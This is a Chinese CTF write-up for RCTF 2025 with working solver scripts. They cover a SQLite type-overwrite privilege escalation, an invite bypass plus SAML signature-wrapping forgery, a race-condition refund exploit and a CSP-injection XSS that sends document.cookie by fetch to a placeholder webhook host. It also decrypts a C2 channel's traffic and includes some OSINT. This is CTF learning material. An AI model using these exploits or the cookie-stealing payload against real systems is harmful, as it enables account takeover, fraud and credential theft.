文章

RCTF 2025 wp

photographer

flag 在 public/superadmin.php

if (Auth::check() && Auth::type() < $user_types['admin']) {
    echo getenv('FLAG') ?: 'RCTF{test_flag}';
}

$user_types['admin'] 是 0,所以需要让 Auth::type() 小于 0。

Auth::type() 取自 session 里的 user 信息,而用户信息是在 User::findById 里查出来的:

public static function findById($userId) {
    return DB::table('user')
        ->leftJoin('photo', 'user.background_photo_id', '=', 'photo.id')
        ->where('user.id', '=', $userId)
        ->first();
}

这里用了leftJoin连表查询photo。但是user表和photo表都有 type。其中user.type 是权限等级,photo.type 是文件的 MIME

framework/DB.php 这里可以看到使用SQLite 的fetchArray并且模式为SQLITE3_ASSOC,也就是返回以列名索引的数组

while ($row = $result->fetchArray(SQLITE3_ASSOC)) {
    $rows[] = $row;
}

所以后面的type将覆盖前面的,也就是 photo.type 会覆盖掉 user.type

上传图片时,Photo::create 用的type 是直接$_FILES里拿的:

$file = [
    'type' => $files['type'][$i],
    // ...
];

type可控

所以思路就是,注册登录,上传个图片,抓包把 Content-Type 改成 -1,并设置为背景。此时user.type 就变成了字符串 "-1",PHP 弱类型比较 "-1" < 0 成立

import requests
import re

BASE_URL = '<http://1.95.160.41:26002>'
EMAIL = '[email protected]'
PASSWORD = '123456'

s = requests.Session()

r = s.get(f'{BASE_URL}/register')
csrf_token = re.search(r'name="csrf_token" value="([a-f0-9]+)"', r.text).group(1)

s.post(f'{BASE_URL}/api/register', data={
    'username': 'hacker',
    'email': EMAIL,
    'password': PASSWORD,
    'confirm_password': PASSWORD,
    'csrf_token': csrf_token
})

# 随便一张图片
img_content = b'\\x89PNG\\r\\n\\x1a\\n\\x00\\x00\\x00\\rIHDR\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x08\\x06\\x00\\x00\\x00\\x1f\\x15\\xc4\\x89\\x00\\x00\\x00\\nIDATx\\x9cc\\x00\\x01\\x00\\x00\\x05\\x00\\x01\\r\\n-\\xb4\\x00\\x00\\x00\\x00IEND\\xaeB`\\x82'

# Content-Type 设置为 -1
files = {
    'photos[]': ('1.png', img_content, '-1') 
}
r = s.post(f'{BASE_URL}/api/photos/upload', files=files)
photo_id = r.json()['photos'][0]['id']

r = s.get(f'{BASE_URL}/settings')
csrf_token = re.search(r'name="csrf_token" value="([a-f0-9]+)"', r.text).group(1)

s.post(f'{BASE_URL}/api/user/background', data={
    'photo_id': photo_id,
    'csrf_token': csrf_token
})

r = s.get(f'{BASE_URL}/superadmin.php')
print(r.text)

auth

题目模拟了一个 SSO 认证环境,包含 Node.js 写的 IdP 和 Python 写的 SP。Flag在SP中,校验 SAML 身份必须是 [email protected]

IdP 的注册逻辑 idp-portal/src/controllers/authController.js

if (parseInt(type) === 0) {
    if (!invitationCode || invitationCode !== config.getInviteCode()) {
        // ... error
    }
}
req.session.userId = await User.create({ ..., type, ... });

这里用了 parseInt(type) === 0 来判断是否是管理员注册。parseInt(false) -> NaN,NaN === 0 为 false,因此发送{"type": false}可以绕过邀请码检查。MySQL 的 TINYINT 字段将 false 存储为 0,从而注册为 Admin

不过注册成功后 IdP 会直接设置 Session req.session.userType = type (false)。 但 middleware/auth.js 检查的是 req.session.userType !== 0。所以需要重新登录一次

然后发起 SSO,得到合法的 SAMLResponse

sp-flag/saml2/validator.py

assertion_signatures = self._find_assertion_signatures()
if not assertion_signatures:
	  return False
for sig_node in assertion_signatures:
    if not self._verify_signature(sig_node):
        return False

验证器确保有签名并且合法,但是不校验无签名的Assertion。 解析器 sp-flag/saml2/parser.py 只取第一个进行解析

def get_nameid(self):
  if self.document is None:
      return None
      
  assertions = self.document.xpath(
      '//saml:Assertion',
      namespaces=self.NAMESPACES
  )
  
  if not assertions:
      return None
  
  assertion = assertions[0]  # 直接取第一个
  nameid_nodes = assertion.xpath(
      './/saml:NameID',
      namespaces=self.NAMESPACES
  )
  
  if nameid_nodes:
      return nameid_nodes[0].text
  
  return None

这便存在 XML Signature Wrapping 漏洞

在合法Assertion前加入伪造Assertion即可

import requests
import base64
import urllib.parse
from lxml import etree
import copy
import re
import random
import string

IDP_HOST = "<http://auth.rctf.rois.team>"
SP_HOST = "<http://auth-flag.rctf.rois.team:26000>"

def solve():
    s = requests.Session()
    # 注册登录
    rand_suffix = ''.join(random.choices(string.ascii_lowercase + string.digits, k=6))
    username = f"hacker_{rand_suffix}"
    password = "password123"
    email = f"hacker_{rand_suffix}@example.com"

    print(username, password, email)

    register_url = f"{IDP_HOST}/register"
    reg_data = {
        "username": username,
        "email": email,
        "password": password,
        "confirmPassword": password,
        "type": False, #
        "displayName": "Hacker"
    }
    s.post(register_url, json=reg_data)
    s.cookies.clear()

    login_url = f"{IDP_HOST}/login"
    s.post(login_url, data={"username": username, "password": password})

    # 获取合法的 SAML Response
    sso_init_url = f"{IDP_HOST}/saml/idp/Flag"
    res = s.get(sso_init_url)
    saml_response_b64 = re.search(r'name="SAMLResponse" value="([^"]+)"', res.text).group(1)

    # XML Signature Wrapping
    xml_content = base64.b64decode(saml_response_b64).decode('utf-8')
    root = etree.fromstring(xml_content.encode('utf-8'))
    ns = {'saml': 'urn:oasis:names:tc:SAML:2.0:assertion', 'ds': '<http://www.w3.org/2000/09/xmldsig#>'}
    original_assertion = root.find('.//saml:Assertion', ns)
    fake_assertion = copy.deepcopy(original_assertion)
    fake_assertion.set('ID', f'_{urllib.parse.quote(username)}_fake')
    nameid_node = fake_assertion.find('.//saml:NameID', ns)
    nameid_node.text = '[email protected]'
    signature_node = fake_assertion.find('.//ds:Signature', ns)
    if signature_node is not None:
        signature_node.getparent().remove(signature_node)
    root.insert(1, fake_assertion)

    evil_xml = etree.tostring(root, encoding='utf-8').decode('utf-8')
    evil_saml_response = base64.b64encode(evil_xml.encode('utf-8')).decode('utf-8')

    # 认证
    sp_acs_url = f"{SP_HOST}/saml/acs"
    sp_session = requests.Session()
    res = sp_session.post(sp_acs_url, data={
        "SAMLResponse": evil_saml_response,
        "RelayState": "/admin"
    }, allow_redirects=False)

    redirect_url = res.headers.get('Location')
    target_url = f"{SP_HOST}{redirect_url}" if redirect_url.startswith("/") else redirect_url
    final_res = sp_session.get(target_url)
    print(final_res.text) 

if __name__ == "__main__":
    solve()

Asgard Fallen Down

chall1:

找到AES解密的key和iv

key = VdmEJO6SDkVWYkSQD4dPfLnvkmqRUCvrELipO14dfVs=

iv = EjureNfe2IA6jFEZEih84w==

GET /styles/theme.css 中 X-Cache-Data内容为命令回显,第一个回显解密出来是

{"outputChannel":"o-27kgboxah4l","result":"desktopeo5qi9p\\\\dell""timestamp":1763185539163}

说明命令为spawn whoami

chall2:10

观察规律发现心跳包是随机GET,每10秒一次

chall3:

继续解密X-Cache-Data回传的数据

其中

解密后找到硬件信息

{"outputChannel":"o-lbgp59stp4","result":"{\\n  \\"ALLUSERSPROFILE\\": \\"C:\\\\\\\\ProgramData\\",\\n  \\"APPDATA\\": \\"C:\\\\\\\\Users\\\\\\\\dell\\\\\\\\AppData\\\\\\\\Roaming\\",\\n  \\"CommonProgramFiles\\": \\"C:\\\\\\\\Program Files\\\\\\\\Common Files\\",\\n  \\"CommonProgramFiles(x86)\\": \\"C:\\\\\\\\Program Files (x86)\\\\\\\\Common Files\\",\\n  \\"CommonProgramW6432\\": \\"C:\\\\\\\\Program Files\\\\\\\\Common Files\\",\\n  \\"COMPUTERNAME\\": \\"DESKTOP-EO5QI9P\\",\\n  \\"ComSpec\\": \\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\cmd.exe\\",\\n  \\"DriverData\\": \\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\Drivers\\\\\\\\DriverData\\",\\n  \\"HOMEDRIVE\\": \\"C:\\",\\n  \\"HOMEPATH\\": \\"\\\\\\\\Users\\\\\\\\dell\\",\\n  \\"LOCALAPPDATA\\": \\"C:\\\\\\\\Users\\\\\\\\dell\\\\\\\\AppData\\\\\\\\Local\\",\\n  \\"LOGONSERVER\\": \\"\\\\\\\\\\\\\\\\DESKTOP-EO5QI9P\\",\\n  \\"NUMBER_OF_PROCESSORS\\": \\"2\\",\\n  \\"ORIGINAL_XDG_CURRENT_DESKTOP\\": \\"undefined\\",\\n  \\"OS\\": \\"Windows_NT\\",\\n  \\"Path\\": \\"C:\\\\\\\\Windows\\\\\\\\system32;C:\\\\\\\\Windows;C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\Wbem;C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\;C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\OpenSSH\\\\\\\\;C:\\\\\\\\Users\\\\\\\\dell\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Microsoft\\\\\\\\WindowsApps;\\",\\n  \\"PATHEXT\\": \\".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC\\",\\n  \\"PROCESSOR_ARCHITECTURE\\": \\"AMD64\\",\\n  \\"PROCESSOR_IDENTIFIER\\": \\"Intel64 Family 6 Model 191 Stepping 2, GenuineIntel\\",\\n  \\"PROCESSOR_LEVEL\\": \\"6\\",\\n  \\"PROCESSOR_REVISION\\": \\"bf02\\",\\n  \\"ProgramData\\": \\"C:\\\\\\\\ProgramData\\",\\n  \\"ProgramFiles\\": \\"C:\\\\\\\\Program Files\\",\\n  \\"ProgramFiles(x86)\\": \\"C:\\\\\\\\Program Files (x86)\\",\\n  \\"ProgramW6432\\": \\"C:\\\\\\\\Program Files\\",\\n  \\"PSModulePath\\": \\"C:\\\\\\\\Program Files\\\\\\\\WindowsPowerShell\\\\\\\\Modules;C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\Modules\\",\\n  \\"PUBLIC\\": \\"C:\\\\\\\\Users\\\\\\\\Public\\",\\n  \\"SESSIONNAME\\": \\"Console\\",\\n  \\"SystemDrive\\": \\"C:\\",\\n  \\"SystemRoot\\": \\"C:\\\\\\\\Windows\\",\\n  \\"TEMP\\": \\"C:\\\\\\\\Users\\\\\\\\dell\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\",\\n  \\"TMP\\": \\"C:\\\\\\\\Users\\\\\\\\dell\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\",\\n  \\"USERDOMAIN\\": \\"DESKTOP-EO5QI9P\\",\\n  \\"USERDOMAIN_ROAMINGPROFILE\\": \\"DESKTOP-EO5QI9P\\",\\n  \\"USERNAME\\": \\"dell\\",\\n  \\"USERPROFILE\\": \\"C:\\\\\\\\Users\\\\\\\\dell\\",\\n  \\"windir\\": \\"C:\\\\\\\\Windows\\"\\n}","timestamp":1763185574274}

Intel64 Family 6 Model 191 Stepping 2, GenuineIntel

cahll4:

观察 POST /contact 发现有chunkIndex=0字样,而且进行AES解密后有明显数据,于是追踪流并解析

得到的数据为base64,解码出来为一张图像

能看出是无影TscanPlus

UltimateFreeloader

观察Redis锁,发现买和退款的锁的key值不一样,可以打条件竞争

public Map<String, Object> createOrder(String userId, OrderRequestDTO orderRequest) {
    Map<String, Object> result = new HashMap();
    String lockKey = "order:user:" + userId;
    String lockValue = this.redisLockUtil.generateLockValue();
    //...
}    
public Map<String, Object> refundOrder(String orderId, String userId) {
    Map<String, Object> result = new HashMap();
    String lockKey = "refund:order:" + orderId;
    //...
}

exp

import requests
import threading
import time
import uuid

TARGET_URL = "<http://61.147.171.105:49947>"

PROD_LITTLE = "550e8400-e29b-41d4-a716-446655440001" # 5.50
PROD_SWEET  = "550e8400-e29b-41d4-a716-446655440002" # 8.80
PROD_FISH   = "550e8400-e29b-41d4-a716-446655440003" # 4.20
PROD_LARGE  = "550e8400-e29b-41d4-a716-446655440004" # 10.00

s = requests.Session()

CURRENT_USER = {"username": "", "password": ""}

def register_and_login():
    username = f"hacker_{uuid.uuid4().hex[:8]}"
    password = "password123"
    email = f"{username}@hack.com"
    
    CURRENT_USER["username"] = username
    CURRENT_USER["password"] = password
    
    print(f"[*] 注册用户: {username}")
    try:
        res = s.post(f"{TARGET_URL}/api/user/register", json={
            "username": username, "password": password, "email": email
        })
        
        if res.json().get("code") != 200:
            print(f"[-] 注册失败: {res.text}")
            exit()
        res = s.post(f"{TARGET_URL}/api/user/login", json={
            "username": username, "password": password
        })
        
        token = res.json()['data']['token']
        s.headers.update({"Authorization": f"Bearer {token}"})
        print("[+] token:", token)
        user_id = res.json()['data']['user']['id']
        return user_id
    except Exception as e:
        print(f"[-] 连接错误: {e}")
        exit()

def get_coupon_id():
    try:
        res = s.get(f"{TARGET_URL}/api/coupon/available")
        data = res.json().get('data')
        if data:
            return data[0]['id']
    except:
        pass
    return None

def get_balance():
    try:
        res = s.get(f"{TARGET_URL}/api/user/info")
        return float(res.json()['data']['balance'])
    except:
        return 0.0

def buy(product_id, coupon_id=None):
    data = {
        "productId": product_id,
        "quantity": "1"
    }
    if coupon_id:
        data["couponId"] = coupon_id
    
    try:
        res = s.post(f"{TARGET_URL}/api/order/create", json=data)
        return res.json()
    except:
        return None

def refund(order_id):
    try:
        res = s.post(f"{TARGET_URL}/api/order/refund/{order_id}")
        return res.json()
    except:
        return None

def get_my_orders():
    try:
        res = s.get(f"{TARGET_URL}/api/order/my")
        return res.json().get('data', [])
    except:
        return []

def clean_up_pivot():
    orders = get_my_orders()
    if not orders: return
    for order in orders:
        if order['productId'] == PROD_LARGE and order['status'] == 'COMPLETED' and order.get('couponId'):
            refund(order['id'])

def glitch_item(target_prod_id, target_name):
    print(f"\\n>>> 尝试: {target_name}")
    
    attempt_count = 0
    while True:
        attempt_count += 1
        orders = get_my_orders()
        has_target = False
        target_order_id = None
        for order in orders:
            if order['productId'] == target_prod_id and order['status'] == 'COMPLETED':
                has_target = True
                target_order_id = order['id']
                break
        
        current_bal = get_balance()
        
        if has_target and current_bal == 10.0:
            print(f"[+] 成功!已拥有 {target_name} 且余额为 10.00")
            if target_prod_id == PROD_LARGE:
                if get_coupon_id():
                    print("[+] 优惠券未使用")
                    break
                else:
                    refund(target_order_id)
                    clean_up_pivot()
                    continue
            else:
                break
        if has_target and current_bal < 10.0:
            refund(target_order_id)
            clean_up_pivot()
            continue
        coupon_id = get_coupon_id()
        if not coupon_id:
            clean_up_pivot()
            continue
        res_buy = buy(PROD_LARGE, coupon_id)
        
        if not res_buy or res_buy.get('code') != 200:
            clean_up_pivot()
            continue
        
        pivot_order_id = res_buy['data']['order']['id']
        def thread_refund():
            refund(pivot_order_id)
            
        def thread_buy_target():
            buy(target_prod_id)

        t1 = threading.Thread(target=thread_refund)
        t2 = threading.Thread(target=thread_buy_target)
        
        t1.start()
        t2.start()
        
        t1.join()
        t2.join()

def main():
    user_id = register_and_login()
    target_list = [
        (PROD_SWEET, "Sweet Potato (8.80)"),
        (PROD_LITTLE, "Little Potato (5.50)"),
        (PROD_FISH, "Fish Fish (4.20)"),
        (PROD_LARGE, "Large Potato (10.00)")
    ]
    
    for prod_id, name in target_list:
        glitch_item(prod_id, name)
        time.sleep(0.2)
    
    bal = get_balance()
    coupon = get_coupon_id()
    orders = get_my_orders()
    completed_count = sum(1 for o in orders if o['status'] == 'COMPLETED')
    
    print(f"余额: {bal}")
    print(f"优惠券: {'存在(未使用)' if coupon else '不存在(已使用)'}")
    print(f"已购商品数: {completed_count}")
    
    if bal == 10.0 and coupon:
        res = s.get(f"{TARGET_URL}/api/flag/get")
        print(res.text)
    else:
        print("[-] 失败")

    print(f"Username: {CURRENT_USER['username']}")
    print(f"Password: {CURRENT_USER['password']}")

if __name__ == "__main__":
    main()

Speak Softly Love

Q3-4为队友解出

Q1:8ssDGBTssUI

DOSMid: The Godfather theme played on an 8086 computer

Q2:r178

svn log svn://svn.mateusz.fr/dosmid
...
r178 | mv_fox | 2016-05-09 01:21:38 +0800 (Mon, 09 May 2016) | 1 line

if too many 'soft' errors occur in a row, dosmid aborts (protects against 'soft errors loops', typically with playlist filled with non-existing files)

Q3:从个人网站:Mateusz Viste - 主页 --- Mateusz Viste - homepage 中找到音频 https://mateusz.viste.fr/mateusz.ogg

Q4:个人网站上有gopher链接:gopher://gopher.viste.fr/

lynx gopher://gopher.viste.fr/

找到bitcoin donate

Q4:16TofYbGd86C7S6JuAuhGkX4fbmC9QtzwT

author

csp为队友思路

主要就是绕过xss-shield.js,没有csp

<meta name="author" content=<?php echo $pageAuthor; ?>>

header.php 中 author name 可以注入向 meta 标签中注入空格,可以添加任意属性。

尝试构造成 CSP 拦截 xss.shiled.js 。

注册用户时在 username 中写入 csp 内容拦截 xss:

username='script-src-elem <http://blog-app/assets/js/article.js>' http-equiv=Content-Security-Policy

单引号不会被 html 实体化 正好用来包裹 csp 内容。script-src-elem 属性不会影响 unsafe-inline,只需要设置 article.js 的 URL 即可。

随后用该账号登录发布的 article 不会有任何限制。使用 img onerror 外带:

<img src=x onerror="fetch('<http://webhook/?d=>' + encodeURI(document.cookie))">

许可协议:  CC BY 4.0